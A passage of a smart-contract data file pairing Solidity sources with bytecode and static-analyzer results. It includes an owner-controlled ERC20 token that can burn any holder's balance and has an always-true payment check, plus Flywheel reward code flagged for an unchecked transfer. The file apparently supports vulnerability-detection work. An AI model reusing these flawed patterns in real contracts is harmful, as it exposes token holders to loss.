* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner{
_mint( account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function Burn(address account, uint256 amount) public onlyOwner {
_burn( account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function chnageRate(uint256 _rate) external onlyOwner{
Rate=_rate;
}
receive() payable external{
require(msg.value>=1e15 || msg.value<=5e18,"Invalid ether value");
_transfer(owner(),msg.sender,msg.value*Rate);
payable(owner()).transfer(msg.value);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610377578063a913a9c814610397578063cc16f5db146103b7578063dd62ed3e146103d7578063f2fde38b1461041d57600080fd5b8063715018a6146103055780638da5cb5b1461031a57806395d89b4114610342578063a457c2d71461035757600080fd5b8063313ce567116100d1578063313ce56714610271578063395093511461028d57806340c10f19146102ad57806370a08231146102cf57600080fd5b806306fdde03146101d7578063095ea7b31461020257806318160ddd1461023257806323b872dd1461025157600080fd5b366101d25766038d7ea4c68000341015806101255750674563918244f400003411155b61016c5760405162461bcd60e51b8152602060048201526013602482015272496e76616c69642065746865722076616c756560681b60448201526064015b60405180910390fd5b6101956101816000546001600160a01b031690565b33600454346101909190610f33565b61043d565b600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156101cf573d6000803e3d6000fd5b50005b600080fd5b3480156101e357600080fd5b506101ec610615565b6040516101f99190610e93565b60405180910390f35b34801561020e57600080fd5b5061022261021d366004610e52565b6106a7565b60405190151581526020016101f9565b34801561023e57600080fd5b506003545b6040519081526020016101f9565b34801561025d57600080fd5b5061022261026c366004610e17565b6106bd565b34801561027d57600080fd5b50604051601281526020016101f9565b34801561029957600080fd5b506102226102a8366004610e52565b61076e565b3480156102b957600080fd5b506102cd6102c8366004610e52565b6107a5565b005b3480156102db57600080fd5b506102436102ea366004610dc4565b6001600160a01b031660009081526001602052604090205490565b34801561031157600080fd5b506102cd6107dd565b34801561032657600080fd5b506000546040516001600160a01b0390911681526020016101f9565b34801561034e57600080fd5b506101ec610851565b34801561036357600080fd5b50610222610372366004610e52565b610860565b34801561038357600080fd5b50610222610392366004610e52565b6108fb565b3480156103a357600080fd5b506102cd6103b2366004610e7b565b610908565b3480156103c357600080fd5b506102cd6103d2366004610e52565b610937565b3480156103e357600080fd5b506102436103f2366004610de5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042957600080fd5b506102cd610438366004610dc4565b61096b565b6001600160a01b0383166104a15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610163565b6001600160a01b0382166105035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610163565b6001600160a01b0383166000908152600160205260409020548181101561057b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610163565b6105858282610f52565b6001600160a01b0380861660009081526001602052604080822093909355908516815290812080548492906105bb908490610f1b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161060791815260200190565b60405180910390a350505050565b60606005805461062490610f69565b80601f016020809104026020016040519081016040528092919081815260200182805461065090610f69565b801561069d5780601f106106725761010080835404028352916020019161069d565b820191906000526020600020905b81548152906001019060200180831161068057829003601f168201915b5050505050905090565b60006106b4338484610a55565b50600192915050565b60006106ca84848461043d565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561074f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610163565b610763853361075e8685610f52565b610a55565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106b491859061075e908690610f1b565b6000546001600160a01b031633146107cf5760405162461bcd60e51b815260040161016390610ee6565b6107d98282610b7a565b5050565b6000546001600160a01b031633146108075760405162461bcd60e51b815260040161016390610ee6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461062490610f69565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156108e25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610163565b6108f1338561075e8685610f52565b5060019392505050565b60006106b433848461043d565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161016390610ee6565b600455565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161016390610ee6565b6107d98282610c59565b6000546001600160a01b031633146109955760405162461bcd60e51b815260040161016390610ee6565b6001600160a01b0381166109fa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610163565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ab75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610163565b6001600160a01b038216610b185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610163565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038216610bd05760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610163565b8060036000828254610be29190610f1b565b90915550506001600160a01b03821660009081526001602052604081208054839290610c0f908490610f1b565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610cb95760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610163565b6001600160a01b03821660009081526001602052604090205481811015610d2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610163565b610d378282610f52565b6001600160a01b03841660009081526001602052604081209190915560038054849290610d65908490610f52565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610b6d565b80356001600160a01b0381168114610dbf57600080fd5b919050565b600060208284031215610dd5578081fd5b610dde82610da8565b9392505050565b60008060408385031215610df7578081fd5b610e0083610da8565b9150610e0e60208401610da8565b90509250929050565b600080600060608486031215610e2b578081fd5b610e3484610da8565b9250610e4260208501610da8565b9150604084013590509250925092565b60008060408385031215610e64578182fd5b610e6d83610da8565b946020939093013593505050565b600060208284031215610e8c578081fd5b5035919050565b6000602080835283518082850152825b81811015610ebf57858101830151858201604001528201610ea3565b81811115610ed05783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610f2e57610f2e610fa4565b500190565b6000816000190483118215151615610f4d57610f4d610fa4565b500290565b600082821015610f6457610f64610fa4565b500390565b600181811c90821680610f7d57607f821691505b60208210811415610f9e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206d7f06376746ad7a787771bc4c74283aca5312e2dd9cc62f3e641d3db6e7e58664736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 10,332 |
0xf6f5a326212672b8e4dd93704fcf3554f1e34d7e | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
/**
@title Rewards Module for Flywheel
@notice The rewards module is a minimal interface for determining the quantity of rewards accrued to a flywheel market.
Different module strategies include:
* a static reward rate per second
* a decaying reward rate
* a dynamic just-in-time reward stream
* liquid governance reward delegation
*/
interface IFlywheelRewards {
function getAccruedRewards(ERC20 market, uint32 lastUpdatedTimestamp) external returns (uint256 rewards);
}
/**
@title Balance Booster Module for Flywheel
@notice An optional module for virtually boosting user balances. This allows a Flywheel Core to plug into some balance boosting logic.
Boosting logic can be associated with referrals, vote-escrow, or other strategies. It can even be used to model exotic strategies like borrowing.
*/
interface IFlywheelBooster {
function boostedTotalSupply(ERC20 market) external view returns(uint256);
function boostedBalanceOf(ERC20 market, address user) external view returns(uint256);
}
/**
@title Flywheel Core Incentives Manager
@notice Flywheel is a general framework for managing token incentives.
It is comprised of the Core (this contract), Rewards module, and optional Booster module.
Core is responsible for maintaining reward accrual through reward indexes.
It delegates the actual accrual logic to the Rewards Module.
For maximum accuracy and to avoid exploits, rewards accrual should be notified atomically through the accrue hook.
Accrue should be called any time tokens are transferred, minted, or burned.
*/
contract FlywheelCore is Auth {
event AddMarket(address indexed newMarket);
event FlywheelRewardsUpdate(address indexed oldFlywheelRewards, address indexed newFlywheelRewards);
event AccrueRewards(ERC20 indexed cToken, address indexed owner, uint rewardsDelta, uint rewardsIndex);
event ClaimRewards(address indexed owner, uint256 amount);
struct RewardsState {
/// @notice The market's last updated index
uint224 index;
/// @notice The timestamp the index was last updated at
uint32 lastUpdatedTimestamp;
}
/// @notice The token to reward
ERC20 public immutable rewardToken;
/// @notice the rewards contract for managing streams
IFlywheelRewards public flywheelRewards;
/// @notice optional booster module for calculating virtual balances on markets
IFlywheelBooster public immutable flywheelBooster;
/// @notice the fixed point factor of flywheel
uint224 public constant ONE = 1e18;
/// @notice The market index and last updated per market
mapping(ERC20 => RewardsState) public marketState;
/// @notice user index per market
mapping(ERC20 => mapping(address => uint224)) public userIndex;
/// @notice The accrued but not yet transferred rewards for each user
mapping(address => uint256) public rewardsAccrued;
/// @dev immutable flag for short-circuiting boosting logic
bool internal immutable applyBoosting;
constructor(
ERC20 _rewardToken,
IFlywheelRewards _flywheelRewards,
IFlywheelBooster _flywheelBooster,
address _owner,
Authority _authority
) Auth(_owner, _authority) {
rewardToken = _rewardToken;
flywheelRewards = _flywheelRewards;
flywheelBooster = _flywheelBooster;
applyBoosting = address(_flywheelBooster) != address(0);
}
/// @notice initialize a new market
function addMarketForRewards(ERC20 market) external requiresAuth {
marketState[market] = RewardsState({
index: ONE,
lastUpdatedTimestamp: uint32(block.timestamp)
});
emit AddMarket(address(market));
}
/// @notice swap out the flywheel rewards contract
function setFlywheelRewards(IFlywheelRewards newFlywheelRewards) external requiresAuth {
address oldFlywheelRewards = address(flywheelRewards);
flywheelRewards = newFlywheelRewards;
emit FlywheelRewardsUpdate(oldFlywheelRewards, address(newFlywheelRewards));
}
/// @notice accrue rewards for a single user on a market
function accrue(ERC20 market, address user) public returns (uint256) {
RewardsState memory state = marketState[market];
if (state.index == 0) return 0;
state = accrueMarket(market, state);
return accrueUser(market, user, state);
}
/// @notice accrue rewards for two users on a market
function accrue(ERC20 market, address user, address secondUser) public returns (uint256, uint256) {
RewardsState memory state = marketState[market];
if (state.index == 0) return (0, 0);
state = accrueMarket(market, state);
return (accrueUser(market, user, state), accrueUser(market, secondUser, state));
}
/// @notice claim rewards for a given owner
function claim(address owner) external {
uint256 accrued = rewardsAccrued[owner];
if (accrued != 0) {
rewardsAccrued[owner] = 0;
rewardToken.transfer(owner, accrued);
emit ClaimRewards(owner, accrued);
}
}
/// @notice accumulate global rewards on a market
function accrueMarket(ERC20 market, RewardsState memory state) private returns(RewardsState memory rewardsState) {
// calculate accrued rewards through module
uint256 marketRewardsAccrued = flywheelRewards.getAccruedRewards(market, state.lastUpdatedTimestamp);
rewardsState = state;
if (marketRewardsAccrued > 0) {
// use the booster or token supply to calculate reward index denominator
uint256 supplyTokens = applyBoosting ? flywheelBooster.boostedTotalSupply(market): market.totalSupply();
// accumulate rewards per token onto the index, multiplied by fixed-point factor
rewardsState = RewardsState({
index: state.index + uint224(marketRewardsAccrued * ONE / supplyTokens),
lastUpdatedTimestamp: uint32(block.timestamp)
});
marketState[market] = rewardsState;
}
}
/// @notice accumulate rewards on a market for a specific user
function accrueUser(ERC20 market, address user, RewardsState memory state) private returns (uint256) {
// load indices
uint224 supplyIndex = state.index;
uint224 supplierIndex = userIndex[market][user];
// sync user index to global
userIndex[market][user] = supplyIndex;
// if user hasn't yet accrued rewards, grant them interest from the market beginning if they have a balance
// zero balances will have no effect other than syncing to global index
if (supplierIndex == 0) {
supplierIndex = ONE;
}
uint224 deltaIndex = supplyIndex - supplierIndex;
// use the booster or token balance to calculate reward balance multiplier
uint256 supplierTokens = applyBoosting ? flywheelBooster.boostedBalanceOf(market, user) : market.balanceOf(user);
// accumulate rewards by multiplying user tokens by rewardsPerToken index and adding on unclaimed
uint256 supplierDelta = supplierTokens * deltaIndex / ONE;
uint256 supplierAccrued = rewardsAccrued[user] + supplierDelta;
rewardsAccrued[user] = supplierAccrued;
emit AccrueRewards(market, user, supplierDelta, supplyIndex);
return supplierAccrued;
}
}
contract FuseFlywheelCore is FlywheelCore {
bool public constant isRewardsDistributor = true;
constructor(
ERC20 _rewardToken,
IFlywheelRewards _flywheelRewards,
IFlywheelBooster _flywheelBooster,
address _owner,
Authority _authority
) FlywheelCore(_rewardToken, _flywheelRewards, _flywheelBooster, _owner, _authority) {}
function flywheelPreSupplierAction(ERC20 market, address supplier) external {
accrue(market, supplier);
}
function flywheelPreBorrowerAction(ERC20 market, address borrower) external {}
function flywheelPreTransferAction(ERC20 market, address src, address dst) external {
accrue(market, src, dst);
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063ab5497d7116100ad578063c2ee3a0811610071578063c2ee3a0814610323578063cc6bc10114610332578063e6e162e81461035a578063f046ee5c1461036c578063f7c618c11461037f57600080fd5b8063ab5497d7146102ab578063abc6d72d146102d2578063b006340d146102ea578063b9be44ac146102fd578063bf7e214f1461031057600080fd5b80637a9e5e4b116100f45780637a9e5e4b146101d05780637fb5ad38146101e35780638da5cb5b146102115780638fb009131461023c578063a7a9a62c1461024f57600080fd5b8063116139d31461013157806313af4035146101825780631c9161e0146101975780631e83409a146101aa5780634e081c95146101bd575b600080fd5b61016561013f366004610dea565b60046020908152600092835260408084209091529082529020546001600160e01b031681565b6040516001600160e01b0390911681526020015b60405180910390f35b610195610190366004610e23565b6103a6565b005b6101956101a5366004610dea565b61042c565b6101956101b8366004610e23565b61043b565b6101956101cb366004610e47565b61054b565b6101956101de366004610e23565b61055d565b6102036101f1366004610e23565b60056020526000908152604090205481565b604051908152602001610179565b600054610224906001600160a01b031681565b6040516001600160a01b039091168152602001610179565b61019561024a366004610e23565b610647565b61028761025d366004610e23565b6003602052600090815260409020546001600160e01b03811690600160e01b900463ffffffff1682565b604080516001600160e01b03909316835263ffffffff909116602083015201610179565b6102247f000000000000000000000000000000000000000000000000000000000000000081565b6102da600181565b6040519015158152602001610179565b6101956102f8366004610e23565b6106cb565b61020361030b366004610dea565b610781565b600154610224906001600160a01b031681565b610165670de0b6b3a764000081565b610345610340366004610e47565b6107f7565b60408051928352602083019190915201610179565b610195610368366004610dea565b5050565b600254610224906001600160a01b031681565b6102247f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5281565b6103bc336000356001600160e01b031916610880565b6103e15760405162461bcd60e51b81526004016103d890610e92565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d769190a350565b6104368282610781565b505050565b6001600160a01b0381166000908152600560205260409020548015610368576001600160a01b03828116600081815260056020526040808220919091555163a9059cbb60e01b81526004810191909152602481018390527f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd529091169063a9059cbb906044016020604051808303816000875af11580156104df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105039190610eb8565b50816001600160a01b03167f1f89f96333d3133000ee447473151fa9606543368f02271c9d95ae14f13bcc678260405161053f91815260200190565b60405180910390a25050565b6105568383836107f7565b5050505050565b6000546001600160a01b03163314806105f2575060015460405163b700961360e01b81526001600160a01b039091169063b7009613906105b190339030906001600160e01b03196000351690600401610eda565b602060405180830381865afa1580156105ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f29190610eb8565b6105fb57600080fd5b600180546001600160a01b0319166001600160a01b03831690811790915560405133907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a350565b61065d336000356001600160e01b031916610880565b6106795760405162461bcd60e51b81526004016103d890610e92565b600280546001600160a01b038381166001600160a01b0319831681179093556040519116919082907fc88394d92ca818942c423842b933c023fc08dbdb030fcaf02ac41b89e2d1d9f690600090a35050565b6106e1336000356001600160e01b031916610880565b6106fd5760405162461bcd60e51b81526004016103d890610e92565b604080518082018252670de0b6b3a7640000815263ffffffff42811660208084019182526001600160a01b0386166000818152600390925285822094519251909316600160e01b026001600160e01b03929092169190911790925591517fc3dfb88ee5301cecf05761fb2728064e5b641524346ae69b9ba80394631bf11f9190a250565b6001600160a01b03821660009081526003602090815260408083208151808301909252546001600160e01b038116808352600160e01b90910463ffffffff1692820192909252906107d65760009150506107f1565b6107e0848261092a565b90506107ed848483610b74565b9150505b92915050565b6001600160a01b03831660009081526003602090815260408083208151808301909252546001600160e01b038116808352600160e01b90910463ffffffff16928201929092528291610850576000809250925050610878565b61085a868261092a565b9050610867868683610b74565b610872878684610b74565b92509250505b935093915050565b6001546000906001600160a01b0316801580159061090a575060405163b700961360e01b81526001600160a01b0382169063b7009613906108c990879030908890600401610eda565b602060405180830381865afa1580156108e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090a9190610eb8565b806107ed57506000546001600160a01b0385811691161491505092915050565b6040805180820190915260008082526020820152600254602083015160405163b334db7b60e01b81526001600160a01b03868116600483015263ffffffff9092166024820152600092919091169063b334db7b906044016020604051808303816000875af11580156109a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c49190610f07565b83925090508015610b6d5760007f0000000000000000000000000000000000000000000000000000000000000000610a5d57846001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a589190610f07565b610ae7565b604051631e1932fb60e01b81526001600160a01b0386811660048301527f00000000000000000000000000000000000000000000000000000000000000001690631e1932fb90602401602060405180830381865afa158015610ac3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae79190610f07565b604080518082019091529091508082610b08670de0b6b3a764000086610f36565b610b129190610f55565b8651610b1e9190610f77565b6001600160e01b03908116825263ffffffff4281166020938401526001600160a01b03891660009081526003845260409020845193850151909116600160e01b02929091169190911790559250505b5092915050565b80516001600160a01b038481166000908152600460209081526040808320938716835292905290812080546001600160e01b038085166001600160e01b03198316179092559192911680610bcd5750670de0b6b3a76400005b6000610bd98284610fa2565b905060007f0000000000000000000000000000000000000000000000000000000000000000610c71576040516370a0823160e01b81526001600160a01b0388811660048301528916906370a0823190602401602060405180830381865afa158015610c48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6c9190610f07565b610d03565b604051631a50ef2f60e01b81526001600160a01b03898116600483015288811660248301527f00000000000000000000000000000000000000000000000000000000000000001690631a50ef2f90604401602060405180830381865afa158015610cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d039190610f07565b90506000670de0b6b3a7640000610d236001600160e01b03851684610f36565b610d2d9190610f55565b6001600160a01b03891660009081526005602052604081205491925090610d55908390610fca565b6001600160a01b03808b16600081815260056020526040908190208490555192935091908c16907f35a61f3c719e8f59f636c336e563ba74f667fadafcc80d709231ca8bb59eecce90610dbd9086908b909182526001600160e01b0316602082015260400190565b60405180910390a39998505050505050505050565b6001600160a01b0381168114610de757600080fd5b50565b60008060408385031215610dfd57600080fd5b8235610e0881610dd2565b91506020830135610e1881610dd2565b809150509250929050565b600060208284031215610e3557600080fd5b8135610e4081610dd2565b9392505050565b600080600060608486031215610e5c57600080fd5b8335610e6781610dd2565b92506020840135610e7781610dd2565b91506040840135610e8781610dd2565b809150509250925092565b6020808252600c908201526b15539055551213d49256915160a21b604082015260600190565b600060208284031215610eca57600080fd5b81518015158114610e4057600080fd5b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b600060208284031215610f1957600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610f5057610f50610f20565b500290565b600082610f7257634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160e01b03828116848216808303821115610f9957610f99610f20565b01949350505050565b60006001600160e01b0383811690831681811015610fc257610fc2610f20565b039392505050565b60008219821115610fdd57610fdd610f20565b50019056fea2646970667358221220484f874cfe659571a66d9d9937d2c359ecd069da70cc19af8e32f0b155f2bb3464736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,333 |
0xe09dfe89500425e80d81e2e02d31fb1ed4e4d7c8 | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
